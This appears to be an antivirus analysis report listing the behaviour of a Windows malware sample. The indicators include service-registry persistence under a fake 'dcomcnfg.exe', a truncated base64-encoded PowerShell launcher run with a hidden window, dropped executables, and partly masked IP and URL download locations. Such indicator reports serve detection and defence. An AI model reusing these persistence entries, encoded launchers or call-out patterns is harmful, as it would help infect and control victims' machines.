Technical Information
- [<HKLM>\System\CurrentControlSet\Services\dcomcnfg] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\dcomcnfg] 'ImagePath' = '"%WINDIR%\SysWOW64\rasplap\dcomcnfg.exe"'
- 'dcomcnfg' "%WINDIR%\SysWOW64\rasplap\dcomcnfg.exe"
- 'dcomcnfg' %WINDIR%\SysWOW64\rasplap\dcomcnfg.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABRAFIAVABHAEsAZwBvAHcAPQAnAEsASwBVAE8AVgBuAHoAZAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBgAFUAYABSAEkAVABZAGAAUABSAE8AVABgAG8AYwBgAE8AbAAiAC...
- %HOMEPATH%\392.exe
- %WINDIR%\syswow64\rasplap\dcomcnfg.exe
- from %HOMEPATH%\392.exe to %WINDIR%\syswow64\rasplap\dcomcnfg.exe
- '47.##6.117.214':80
- http://www.so####techno.com/wp-includes/pl0_sux_k2b4cgyr/
- http://47.##6.117.214/4PB8LLq3pwStQ/7nJ6ltuc/CamhMLI3PDIQRr7/j6hHzu0h/yVi5nYrdnFysEiqzwO/Sb9vc/
- DNS ASK so####techno.com
- '%HOMEPATH%\392.exe'
- '%WINDIR%\syswow64\rasplap\dcomcnfg.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABRAFIAVABHAEsAZwBvAHcAPQAnAEsASwBVAE8AVgBuAHoAZAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBgAFUAYABSAEkAVABZAGAAUABSAE8AVABgAG8AYwBgAE8AbAAiAC...' (with hidden window)